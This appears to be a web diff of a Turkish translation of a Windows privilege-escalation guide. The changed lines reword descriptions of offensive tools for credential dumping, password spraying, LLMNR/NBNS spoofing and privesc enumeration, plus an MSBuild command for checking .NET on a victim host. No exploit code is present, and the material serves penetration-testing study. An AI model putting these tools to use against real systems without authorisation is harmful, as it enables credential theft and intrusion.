**Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/index.html)**.**
 | 
			
		||||
 | 
			
		||||
### **Yönetici veya Ağ Servisinden Sisteme**
 | 
			
		||||
 | 
			
		||||
@ -1373,15 +1373,15 @@ https://github.com/sailay1996/RpcSsImpersonator
 | 
			
		||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\
 | 
			
		||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\
 | 
			
		||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\
 | 
			
		||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\
 | 
			
		||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam-arasında bir araçtır.**\
 | 
			
		||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\
 | 
			
		||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (DEPREKATE Watson için)\
 | 
			
		||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)**
 | 
			
		||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (WATSON için DEPREKATE)\
 | 
			
		||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerektirir)**
 | 
			
		||||
 | 
			
		||||
**Exe**
 | 
			
		||||
 | 
			
		||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arayın (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
 | 
			
		||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (daha çok bilgi toplama aracıdır) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
 | 
			
		||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
 | 
			
		||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (privesc'den daha çok bilgi toplama aracı) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
 | 
			
		||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe)**\
 | 
			
		||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\
 | 
			
		||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol et (github'da önceden derlenmiş çalıştırılabilir). Tavsiye edilmez. Win10'da iyi çalışmıyor.\
 | 
			
		||||
@ -1400,7 +1400,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 | 
			
		||||
 | 
			
		||||
_multi/recon/local_exploit_suggestor_
 | 
			
		||||
 | 
			
		||||
Projeyi doğru .NET sürümünü kullanarak derlemeniz gerekiyor ([bunu görün](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz:
 | 
			
		||||
Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz:
 | 
			
		||||
```
 | 
			
		||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user